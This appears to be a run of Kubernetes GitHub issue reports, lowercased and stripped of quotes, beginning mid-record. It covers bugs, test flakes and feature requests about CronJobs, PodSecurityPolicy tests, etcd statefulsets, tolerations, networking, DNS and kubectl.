body: {\ kind\ :\ cronjob\ ,\ apiversion\ :\ batch/v1beta1\ ,\ metadata\ :{\ name\ :\ fun-with-cron\ ,\ namespace\ :\ default\ ,\ selflink\ :\ /apis/batch/v1beta1/namespaces/default/cronjobs/fun-with-cron\ ,\ uid\ :\ e96e6aba-98b0-11e8-b7a8-080027db5265\ ,\ resourceversion\ :\ 310678\ ,\ creationtimestamp\ :\ 2018-08-05t13:10:23z\ },\ spec\ :{\ schedule\ :\          \ ,\ concurrencypolicy\ :\ allow\ ,\ suspend\ :false,\ jobtemplate\ :{\ metadata\ :{\ creationtimestamp\ :null},\ spec\ :{\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ cronjob\ :\ fun-with-cron\ }},\ spec\ :{\ containers\ : {\ name\ :\ how-soon-is-now\ ,\ image\ :\ alpine:3.6\ ,\ command\ : \ /bin/date\  ,\ resources\ :{},\ terminationmessagepath\ :\ /dev/termination-log\ ,\ terminationmessagepolicy\ :\ file\ ,\ imagepullpolicy\ :\ ifnotpresent\ } ,\ restartpolicy\ :\ onfailure\ ,\ terminationgraceperiodseconds\ :30,\ dnspolicy\ :\ clusterfirst\ ,\ securitycontext\ :{},\ schedulername\ :\ default-scheduler\ }}}},\ successfuljobshistorylimit\ :3,\ failedjobshistorylimit\ :1},\ status\ :{\ lastscheduletime\ :\ 2018-08-05t13:16:00z\ }}\r i0805 14:16:47.013074   37895 round_trippers.go:383  get https://192.168.99.100:8443/apis/batch/v1/namespaces/default/cronjobs/fun-with-cron\r i0805 14:16:47.013098   37895 round_trippers.go:390  request headers:\r i0805 14:16:47.013103   37895 round_trippers.go:393      user-agent: kubectl/v1.10.4  darwin/amd64  kubernetes/5ca598b\r i0805 14:16:47.013109   37895 round_trippers.go:393      accept: application/json,  / \r i0805 14:16:47.014273   37895 round_trippers.go:408  response status: 404 not found in 1 milliseconds\r i0805 14:16:47.014288   37895 round_trippers.go:411  response headers:\r i0805 14:16:47.014294   37895 round_trippers.go:414      content-type: application/json\r i0805 14:16:47.014301   37895 round_trippers.go:414      content-length: 174\r i0805 14:16:47.014305   37895 round_trippers.go:414      date: sun, 05 aug 2018 13:16:47 gmt\r i0805 14:16:47.014325   37895 request.go:874  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ the server could not find the requested resource\ ,\ reason\ :\ notfound\ ,\ details\ :{},\ code\ :404}\r i0805 14:16:47.014926   37895 helpers.go:201  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ the server could not find the requested resource\ ,\r   \ reason\ : \ notfound\ ,\r   \ details\ : {},\r   \ code\ : 404\r } \r f0805 14:16:47.014941   37895 helpers.go:119  error from server  notfound : the server could not find the requested resource\r    \r \r   what you expected to happen  :\r \r for there not to be an error and see the describe output for my cronjob...\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r fun-with-cron.yaml\r    \r apiversion: batch/v1beta1\r kind: cronjob\r metadata:\r   name: fun-with-cron\r spec:\r   schedule: \          \ \r   jobtemplate:\r     spec:\r       template:\r         metadata:\r           labels:\r             cronjob: fun-with-cron\r         spec:\r           restartpolicy: onfailure\r           containers:\r           - name: how-soon-is-now\r             image: alpine:3.6\r             command:  \ /bin/date\  \r    \r \r    \r $ kubectl apply -f fun-with-cron.yaml\r cronjob.batch \ fun-with-cron\  created\r $ kubectl describe cronjob/fun-with-cron\r error from server  notfound : the server could not find the requested resource\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version:\r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-18t14:14:00z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r minikube  v0.28.2  on macos + virtualbox

 \r   what happened  :\r in  pkg/security/podsecuritypolicy/provider_test.go , there are tests for   {default,}allowprivilegeescalation   fields, but those in  testvalidatedefaultallowprivilegeescalation    actually test the   allowprivilegeescalation   as this is set in the test instead of testing its suggested   default\\    form, thus being mostly redundant to tests in  testvalidateallowprivilegeescalation   . on top of that, part of the tests in  testvalidatedefaultallowprivilegeescalation    test a scenario which is not allowed, that being\r    \r psp.spec.defaultallowprivilegeescalation = true\r psp.spec.allowprivilegeescalation = false\r    \r are wrong due to https://github.com/kubernetes/kubernetes/blob/fbb2dfcc6ad345b0ca3fe09cb4bc2a23ec0781d5/pkg/apis/policy/validation/validation.go l288-l290\r but since this is assigned directly, it was never validated and thus no errors were found.\r \r   what you expected to happen  :\r there are no redundant or incorrect tests in  pkg/security/podsecuritypolicy/provider_test.go .\r \r   environment  :\r - kubernetes version: master

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently, expand_controller for resizing a volume is using desired/actual state model. the controller watches pvc add/update/delete events and then for each event, it updates its in-memory cache to store the resize request information. a reconciler periodically compares desired state and actual state and take actions in order to move actual state to the desired one. \r \r this model might cause some extra overhead for controller to periodically sync the desired and actual state and store them. we are considering to use workqueue model which has some build-in features such as setting rate limit  e.g., exponentialfailureratelimiter  and exposing metrics.\r \r <!-- do not edit below this line -->\r 

https://github.com/kubernetes/kubernetes/blob/master/test/e2e/testing-manifests/statefulset/etcd/statefulset.yaml\r \r seems like the etcd version was recently update to v3.2.24 but that fails as the hostnames are not allowed in listen urls.\r \r    \r waiting for etcd-0.etcd to come up\r ping: bad address 'etcd-0.etcd'\r waiting for etcd-0.etcd to come up\r waiting for etcd-1.etcd to come up\r waiting for etcd-2.etcd to come up\r 2018-12-17 20:19:45.847711 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_service_host=1xx.xx.2xx.1xx\r 2018-12-17 20:19:45.849006 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_port_2377_tcp_addr=1xx.xx.2xx.1xx\r 2018-12-17 20:19:45.849077 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_service_port_etcd_proxy_v2=2377\r 2018-12-17 20:19:45.849121 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_port_2377_tcp_port=2377\r 2018-12-17 20:19:45.849196 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_port_2377_tcp_proto=tcp\r 2018-12-17 20:19:45.849233 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_port=tcp://1xx.xx.2xx.1xx:2377\r 2018-12-17 20:19:45.849265 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_service_port=2377\r 2018-12-17 20:19:45.849308 w | pkg/flags: unrecognized environment variable etcd_proxy_v2_port_2377_tcp=tcp://1xx.xx.2xx.1xx:2377\r 2018-12-17 20:19:45.849399 e | etcdmain: error verifying flags, expected ip in url for binding  http://etcd-0.etcd:2380 . see 'etcd --help'.\r    \r \r <!-- do not edit below this line -->\r \r /triage support\r \r

i looked in the source code, but it does not seem to be possible to specify the cgroup in the pod spec. i see that kubelet allows for a custom root cgroup, but it is applied to all pods. i would like to have certain pods startup in a different cgroup so i can manage the cpu set independently from other pods.

the current pod configuration of:  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/cluster-monitoring/influxdb/influxdb-grafana-controller.yaml  use this container: google_containers/heapster_grafana:v2.6.0-2  this has the default  reporting-disabled = false  in  /etc/influxdb/influxdb.conf   it should be changed to  true  ?  btw: where one find the dockerfiles for all this containers?

i am using k8s 1.2 on ubuntu 14.04.4  here are some info on my one k8s minion node:        cat /etc/os-release name=\ ubuntu\  version=\ 14.04.4 lts, trusty tahr\  id=ubuntu id_like=debian pretty_name=\ ubuntu 14.04.4 lts\  version_id=\ 14.04\  home_url=\ http://www.ubuntu.com/\  support_url=\ http://help.ubuntu.com/\  bug_report_url=\ http://bugs.launchpad.net/ubuntu/\             uname -a linux k8s-010 3.19.0-47-generic  53~14.04.1-ubuntu smp mon jan 18 16:09:14 utc 2016 x86_64 x86_64 x86_64 gnu/linux you see, i upgraded the linux kernel to 3.19.0-47.      here are kube-proxy log on this node:        cat /var/log/upstart/kube-proxy.log.1 i0429 17:55:11.397842     985 server.go:200  using iptables proxier. i0429 17:55:11.397941     985 server.go:213  tearing down userspace rules. i0429 17:55:12.408962     985 conntrack.go:36  setting nf_conntrack_max to 262144 i0429 17:55:12.409050     985 conntrack.go:41  setting conntrack hashsize to 65536 i0429 17:55:12.409288     985 conntrack.go:46  setting nf_conntrack_tcp_timeout_established to 86400      i have some clsterip on my k8s:      $ kubectl --namespace=enlighten get svc name      cluster-ip        external-ip   port s      age mongo     192.168.15.118    <none>        27017/tcp   1d mysql     192.168.4.191     <none>        3306/tcp    23h redis     192.168.193.134   <none>        6379/tcp    1d      i found other pods in this cluster can access this clusterip.  but if i tried to access this clusterip from the node host directly, it failed.  actually, i can find the right  only a  guess since i am not an iptable expert  iptables rules on the node:        iptables-save |grep -e mysql -e 192.168.4.191 -e \ -a kube-mark-masq\  -e kube-sep-hlhd6im4g76nuuum :kube-sep-hlhd6im4g76nuuum -  0:0  -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000 -a kube-sep-hlhd6im4g76nuuum -s 172.17.45.2/32 -m comment --comment \ enlighten/mysql:\  -j kube-mark-masq -a kube-sep-hlhd6im4g76nuuum -p tcp -m comment --comment \ enlighten/mysql:\  -m tcp -j dnat --to-destination 172.17.45.2:3306 -a kube-services -d 192.168.4.191/32 -p tcp -m comment --comment \ enlighten/mysql: cluster ip\  -m tcp --dport 3306 -j kube-svc-fiz3lejd226ykz4b -a kube-svc-fiz3lejd226ykz4b -m comment --comment \ enlighten/mysql:\  -j kube-sep-hlhd6im4g76nuuum      is it wad or an issue?  /wang  yu

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/1830/  failed:  k8s.io  deployment deployment should label adopted rss and pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:92 expected error:     < errors.errorstring | 0xc42073e800>: {         s: \ error waiting for deployment test-adopted-deployment  got 1 / gcr.io/google_containers/nginx-slim:0.7  and new rs test-adopted-controller  got 1 / gcr.io/google_containers/nginx-slim:0.7  revision and image to match expectation  expected 1 / gcr.io/google_containers/nginx-slim:0.7 : timed out waiting for the condition\ ,     }     error waiting for deployment test-adopted-deployment  got 1 / gcr.io/google_containers/nginx-slim:0.7  and new rs test-adopted-controller  got 1 / gcr.io/google_containers/nginx-slim:0.7  revision and image to match expectation  expected 1 / gcr.io/google_containers/nginx-slim:0.7 : timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:961       previous issues for this test:  29629  36270

client-go is a mess. not that it's very surprising or revealing, but i was playing with adding traces to k8s and had to modify client. when you try to do that you end up with looking at numerous functions like  restclientfor ,  newrestclient ,  unversionedrestclientfor  and who knows what else. do we really need all of them? can't we just have one that takes  maybe modified  config and does everything that's necessary?\r \r cc @k8s-mirror-api-machinery-feature-rqusts @caesarxuchao

the statefulset controller and controller history implementations should be migrated off of the apps client  deprecated  and onto the appsv1betaclient. currently there is no user facing issue caused by the use of the deprecated resource, but we should maintain good code hygiene. \r

since 12pm nov 9, the  soak-gce-gci tests  https://k8s-testgrid.appspot.com/sig-release-master-blocking soak-gce-gci  have been consistently failing with a sig-node runtime memory regression:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:269\r nov 15 06:32:36.199: memory usage exceeding limits:\r  node bootstrap-e2e-minion-group-xd8g:\r  container \ runtime\ : expected rss memory  mb  < 131072000; got 230453248\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/node/kubelet_perf.go:155\r    \r \r the actual rss values vary between 140mb up to 280mb in the failing runs. they're all running on m60.\r \r the same tests are passing in non-soak runs, so this looks like an actual issue. this is a blocker for 1.9, unless we decide to triple the memory thresholds in the tests.\r \r @spiffxp\r @kubernetes/sig-node-bugs \r /label sig/node\r /kind/bug\r /label priority/failing-test\r

 \r this is to ensure access kubernetes volume access mode is properly  or better  mapped with the meaning of csi access modes.\r \r 

currently, we're collecting different kinds of resource-usage/performance metrics as part of our performance testing, which includes different things like api-responsiveness   e.g  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/10783/artifacts/apiresponsiveness_density_2018-02-12t15:24:27z.json  , control plane metrics   e.g  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/10783/artifacts/metricsfore2e_density_2018-02-12t15:24:29z.json   control plane resource usages   e.g  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/10783/artifacts/resourceusagesummary_density_2018-02-12t15:24:29z.json  , etc.\r \r one key tool we're missing is gathering of memory/cpu profiles of the apiserver during tests - important to get cues on performance bottlenecks. we should add it to our framework.\r \r i'm using this issue as an umbrella for work done in this area.\r \r /assign\r \r cc @kubernetes/sig-scalability-feature-requests

i am making tests with lifecycle hooks, and there is this behavior that makes no sense to us that i would like to find out what is that. so i have the following deployment:\r \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: lifecycle\r spec:\r   replicas: 1\r   template:\r     metadata:\r       name: lifecycle\r       labels:\r         lifecycle: example\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r         lifecycle:\r           poststart:\r             exec:\r               command:\r               - /bin/sh \r               - -c\r               - echo \ hello at\   date  > /usr/share/post-start\r           prestop:\r             exec:\r               command:\r               - /bin/sh \r               - -c\r               - echo \ goodbye at\   date  > /usr/share/pre-stop\r         volumemounts:\r         - name: hooks\r           mountpath: /usr/share/\r       volumes:\r       - name: hooks\r         hostpath:\r           path: /usr/hooks/\r    \r \r simple. every time i kill the pod, and it gets re-created, it will generate 'post-start' and 'pre-stop'  files with the message hello or goodbye with the date. so it works, but not as expected. when i first create the deployment, it created the file with the right date, but after that every time i do any change that would trigger the hooks, it does with the same date.\r \r    \r omega_monkey@gke-demo-cluster-62037557-nrq2:/usr/hooks$ ls -l\r total 8\r -rw-r--r-- 1 root root 342 mar 22 09:51 post-start\r -rw-r--r-- 1 root root 320 mar 22 09:51 pre-stop\r    \r \r but if i check the message that got generated, it makes no sense.\r \r    \r hello at fri mar 22 09:39:55 utc 2019\r goodbye at fri mar 22 09:39:55 utc 2019\r    \r \r so, 9:39 is the time i created the deployment. the fact that post-start and pre-stop dates are the same is already weird. there should be at least a second of difference. and now every time i kill the pod, it prints the same old date.\r \r i sshed into the node, and deleted the files as well, then i killed the pod again, but it got created with the old date too.\r \r if i access into the pod, and run  date  command, and it works fine. looks like it retrieves this info from somewhere that i am not getting. any idea what's happening?

as best i can tell, our server component commands only use cobra as a means of generating docs and man pages. we should refactor our commands so that they use cobra the right way  i.e., they have  run  functions that actually do things . as a result, we can make hyperkube leaner by reusing the cobra commands once they're refactored correctly.\r \r server component command tasks:\r -  x  federation-apiserver\r -  x  federation-controller-manager\r -  x  kube-apiserver\r -  x  kube-controller-manager  58398\r -  x  kube-proxy  34727\r -  x  kube-scheduler  52562\r -  x  kubelet\r \r hyperkube tasks:\r -  x  replace  server  usage with  cobra.command  \r -  x  federation-apiserver\r -  x  federation-controller-manager\r -  x  kube-apiserver\r -  x  kube-controller-manager\r -  x  kube-proxy\r -  x  kube-scheduler\r -  x  kubelet\r \r cc @smarterclayton @bgrant0607 @thockin @eparis @fabianofranz @deads2k @liggitt @sttts

when adding a _noexecute_ taint to a node most _kube-system_ pods get evicted, except for _kube-proxy_ because it has toleration  =:exists:noexecute .\r \r it would be nice if _fluentd-gcp_ and _heapster_ get the same  =:exists:noexecute  toleration to make sure they keep running on that node.\r \r currently in gke 1.6.0 they have the following tolerations:\r \r    \r fluentd-gcp\r \r   tolerations:  \r     node.alpha.kubernetes.io/ismaster=:noschedule\r     node.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r     node.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r \r kube-proxy\r \r   tolerations:  \r     =:exists:noexecute\r \r heapster\r \r   tolerations:  \r     criticaladdonsonly=:exists\r     node.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r     node.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r

\r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:33:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : 4.9.0\r -   install tools  :  bare metal\r \r \r   what happened  :\r add new node to exist cluster, and schedule the pod to new node. the ip of pod is not in range of podcidr, and use the docker bridge  ip\r \r    \r dl.240.172.hadoop.sjz   ready,master   18d       v1.6.1\r dl.245.0.hadoop.sjz     ready          36m       v1.6.1\r dl.245.1.hadoop.sjz     ready          36m       v1.6.1\r dl.245.11.hadoop.sjz    ready          28m       v1.6.1\r dl.245.12.hadoop.sjz    ready          28m       v1.6.1\r dl.245.13.hadoop.sjz    ready          28m       v1.6.1\r dl.245.14.hadoop.sjz    ready          28m       v1.6.1\r dl.245.15.hadoop.sjz    ready          28m       v1.6.1\r dl.245.16.hadoop.sjz    ready          28m       v1.6.1\r dl.245.17.hadoop.sjz    ready          28m       v1.6.1\r dl.245.18.hadoop.sjz    ready          28m       v1.6.1\r dl.245.19.hadoop.sjz    ready          28m       v1.6.1\r dl.245.2.hadoop.sjz     ready          36m       v1.6.1\r dl.245.3.hadoop.sjz     ready          36m       v1.6.1\r dl.245.5.hadoop.sjz     ready          18d       v1.6.1\r dl.245.6.hadoop.sjz     ready          18d       v1.6.1\r dl.245.7.hadoop.sjz     ready          18d       v1.6.1\r dl.245.8.hadoop.sjz     ready          18d       v1.6.1\r dl.245.9.hadoop.sjz     ready          18d       v1.6.1\r l22-240-170             ready          2h        v1.6.1\r l22-240-171             ready,master   18d       v1.6.1\r    \r the node follow is new:\r \r    \r dl.245.0.hadoop.sjz     ready          36m       v1.6.1\r dl.245.1.hadoop.sjz     ready          36m       v1.6.1\r dl.245.11.hadoop.sjz    ready          28m       v1.6.1\r dl.245.12.hadoop.sjz    ready          28m       v1.6.1\r dl.245.13.hadoop.sjz    ready          28m       v1.6.1\r dl.245.14.hadoop.sjz    ready          28m       v1.6.1\r dl.245.15.hadoop.sjz    ready          28m       v1.6.1\r dl.245.16.hadoop.sjz    ready          28m       v1.6.1\r dl.245.17.hadoop.sjz    ready          28m       v1.6.1\r dl.245.18.hadoop.sjz    ready          28m       v1.6.1\r dl.245.19.hadoop.sjz    ready          28m       v1.6.1\r dl.245.2.hadoop.sjz     ready          36m       v1.6.1\r dl.245.3.hadoop.sjz     ready          36m       v1.6.1\r    \r \r and the pod \r \r    \r auto-discovery-4253124847-h1ln1   1/1       running   0          2h        10.244.124.200   l22-240-171\r busybox                           1/1       running   3          15d       10.244.71.2      dl.245.6.hadoop.sjz\r gpu-test                          1/1       running   4          15d       10.244.71.7      dl.245.6.hadoop.sjz\r gpu-test1                         1/1       running   3          13d       10.244.71.8      dl.245.6.hadoop.sjz\r gpu-test1-1-2                     1/1       running   3          10d       10.244.203.12    dl.245.8.hadoop.sjz\r gpu-test1-1-3                     1/1       running   2          9d        10.244.71.16     dl.245.6.hadoop.sjz\r gpu-test12                        1/1       running   3          11d       10.244.239.73    dl.245.9.hadoop.sjz\r nginx-2970154533-wwb3l            1/1       running   0          17m       172.17.0.2       dl.245.19.hadoop.sjz\r test-ssh-1-lxfgq                  1/1       running   0          9d        10.244.33.18     dl.245.5.hadoop.sjz\r wanglinhong-mount-7jtv1           1/1       running   0          2d        10.244.71.24     dl.245.6.hadoop.sjz\r wanglinhong-test-wrvxv            1/1       running   0          4d        10.244.239.94    dl.245.9.hadoop.sjz\r wanglinhong-test3-8bnr1           1/1       running   0          33m       172.17.0.2       dl.245.2.hadoop.sjz\r wanglinhong-web-z37nb             1/1       running   0          1d        10.244.203.31    dl.245.8.hadoop.sjz\r    \r \r the pod  wanglinhong-test3-8bnr1   and  nginx-2970154533-wwb3l  has bean schedule to new nodes . and the ip is  172.17.0.x \r \r  kubelet at new node all have the log as follow\r \r    \r apr 26 11:35:04 dl.245.11.hadoop.sjz kubelet 25363 : i0426 11:35:04.182974   25363 kuberuntime_manager.go:902  updating runtime config through cri with podcidr 10.244.48.0/24\r apr 26 11:35:04 dl.245.11.hadoop.sjz kubelet 25363 : i0426 11:35:04.183206   25363 docker_service.go:277  docker cri received runtime config &runtimeconfig{networkconfig:&networkconfig{podcidr:10.244.48.0/24,},}\r apr 26 11:35:04 dl.245.11.hadoop.sjz kubelet 25363 : i0426 11:35:04.183445   25363 kubelet_network.go:326  setting pod cidr:  -> 10.244.x.0/24\r    \r \r anyone who can help me? i try to solve cost two days. thx very much! \r \r

at least at think it's what happens.\r the code in daemoncontroller says:\r    go\r // daemonset pods shouldn't be deleted by nodecontroller in case of node problems.\r // add infinite toleration for taint notready:noexecute here\r // to survive taint-based eviction enforced by nodecontroller\r // when node turns not ready.\r v1helper.addorupdatetolerationinpod newpod, &v1.toleration{\r \tkey:      metav1.taintnodenotready,\r \toperator: v1.tolerationopexists,\r \teffect:   v1.tainteffectnoexecute,\r } \r \r // daemonset pods shouldn't be deleted by nodecontroller in case of node problems.\r // add infinite toleration for taint unreachable:noexecute here\r // to survive taint-based eviction enforced by nodecontroller\r // when node turns unreachable.\r v1helper.addorupdatetolerationinpod newpod, &v1.toleration{\r \tkey:      metav1.taintnodeunreachable,\r \toperator: v1.tolerationopexists,\r \teffect:   v1.tainteffectnoexecute,\r } \r    \r and code in admission controller says:\r    go\r for _, toleration := range tolerations {\r \tif  toleration.key == metav1.taintnodenotready || len toleration.key  == 0  &&\r \t\t toleration.effect == api.tainteffectnoexecute || len toleration.effect  == 0  {\r \t\ttoleratesnodenotready = true\r \t}\r \tif  toleration.key == metav1.taintnodeunreachable || len toleration.key  == 0  &&\r \t\t toleration.effect == api.tainteffectnoexecute || len toleration.effect  == 0  {\r \t\ttoleratesnodeunreachable = true\r \t}\r }\r    \r \r which seems fine. but for some reason i get only 300s toleration on fluentd daemons:\r    shell\r $kubectl describe pod fluentd-gcp-v2.0-3n134 --namespace=kube-system\r ...\r tolerations:\tnode.alpha.kubernetes.io/ismaster=:noschedule\r \t\tnode.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r ...\r    \r \r effect is as expected - daemons get evicted and they're recreated straight away.\r @kubernetes/sig-scheduling-bugs

flaked 6 times this week in the blocking  pull-kubernetes-e2e-gce-etce3  suite.\r \r 6 failure clusters: https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=kubectl%20expose%20should%20create%20services%20for%20rc\r \r i suspect the most likely source of flakiness is the  namespace deletion timeout cluster  https://storage.googleapis.com/k8s-gubernator/triage/index.html?ci=0&pr=1&test=kubectl%20expose%20should%20create%20services%20for%20rc 5fa23bec4d68cc56bbca :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:127\r may 10 19:55:13.652: couldn't delete ns: \ e2e-tests-kubectl-00plg\ : namespace e2e-tests-kubectl-00plg was not deleted with limit: timed out waiting for the condition, namespaced content other than pods remain  &errors.errorstring{s:\ namespace e2e-tests-kubectl-00plg was not deleted with limit: timed out waiting for the condition, namespaced content other than pods remain\ } \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:279\r    \r \r @kubernetes/sig-api-machinery-test-failures \r  \r assigning to sig-api-machinery per namespace timeout:\r /assign @lavalamp @deads2k \r please  /assign  someone to investigate and  /unassign  yourself.\r if there is a more appropriate sig please  /sig-remove api-machinery  and  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r right now if a node is terminated, its pods are rescheduled on any other available node. however, once a new node is created to replace the failed node, pods are not rescheduled on this node, so in case of a failure of the other node will result in a temporary outage.\r \r for example:\r \r node n1 has pod p1\r node n2 has pod p2\r node n1 fails\r node n2 has pod p1 and p2\r node n3 is created to replace node n1\r node n2 has pod p1 and p2\r node n3 has no pods\r \r if n2 fails, there will be an outage until pods are rescheduled on n3. if one of the pods would have been rescheduled automatically when n3 became healthy, each node would have had a pod and a failure of any node would not result in an outage.

is this a bug report or feature request?  : \r  \r   what happened  :\r when deploying a headless service without port definition, there is no dns endpoint created.\r \r   what you expected to happen  :\r that there would be a valid dns entry for the service that has just been created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use the example configuration from  the documentation  https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ a-records-and-hostname-based-on-pods-hostname-and-subdomain-fields , but leave out the following section:\r    \r   ports:\r   - name: foo   actually, no port is needed.\r     port: 1234\r     targetport: 1234\r    \r \r   anything else we need to know?  :\r searching trough the issues, it seems i expect the \ unexpected\  behavior from ticket  49686, which might been fixed in  49722 and pr  47250\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1+f38e43b221d08\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ not a git tree\ , builddate:\ 2017-10-18t09:41:00z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 0b9efaeb34a2fc51ff8e4d34ad9bc6375459c4a4\ , gittreestate:\ dirty\ , builddate:\ 2017-10-17t15:09:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r  minikube version: v0.23.0 \r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r last 3 failures to bring up cluster for job ci-kubernetes-kubemark-5-gce-last-release:\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce-last-release/1896\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce-last-release/1876\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-5-gce-last-release/1872\r failed with the same error:\r  cluster failed to initialize within 300 seconds. \r \r looking at the only log available  kubemark-5-old-master/serial-1.log  - everything looks good and no unexplained deviations from a log from a successful run can be seen.\r \r i think we need more logs from the master in such case than just the serial console output.\r \r /cc @kubernetes/sig-scalability-bugs

 \r good day!\r   what happened  :\r i have an issue with dynamic variables - single key with different values:\r single_key: value1\r single_key: value2\r single_key: value3\r \r   example  :\r we have pod replicas in statefulset - app-0, app-1, app-2.\r how to inject env single_key: value1 to app-0, single_key: value2 to app-1, single_key: value3\r to app-2?\r \r \r   what you expected to happen  :\r every pod have own value from key in env\r \r thanks in advance\r \r

is this a bug report or feature request?  :\r  \r \r   what happened  :\r pods are synchronized by kubelet before network is ready. synchronization in such case fails and pod is synchronized after 10 seconds.\r \r   what you expected to happen  :\r kubelet should wait until network is ready before starting synchronizing pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r configure cluster with cluster autoscaler enabled. start pod so cluster is scaled up. in logs you might find following error:\r e0907 13:18:49.211171     972 pod_workers.go:186  error syncing pod xxxxxx  \ xxxxxxxxx xxxxxxxxxxx \  , skipping: network is not ready:  runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: kubenet does not have netconfig. this is most likely due to lack of podcidr \r \r   environment  :\r - build from head\r - cloud provider or hardware configuration: gke\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : \r when trying to update a roleref in a clusterrolebinding, i tried running  kubectl apply--force -f myfile.yaml . kubectl came back with  invalid \r \r   what you expected to happen  :\r when using  --force , kubectl should delete and recreate the resource if it runs into an immutable resource\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a clusterrolebinding, then try to  kubectl apply --force  change the roleref\r \r   anything else we need to know?  :\r only happening on kubectl 1.10 and 1.11. both 1.9 and 1.12 are working as expected.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server  1.10.8+iks  client  1.10.10 and 1.11.4 \r - cloud provider or hardware configuration: ibm\r - os  e.g. from /etc/os-release : mac\r - kernel  e.g.  uname -a  : darwin kernel version 18.0.0\r - install tools: curl\r - others:\r \r <!-- do not edit below this line -->\r 

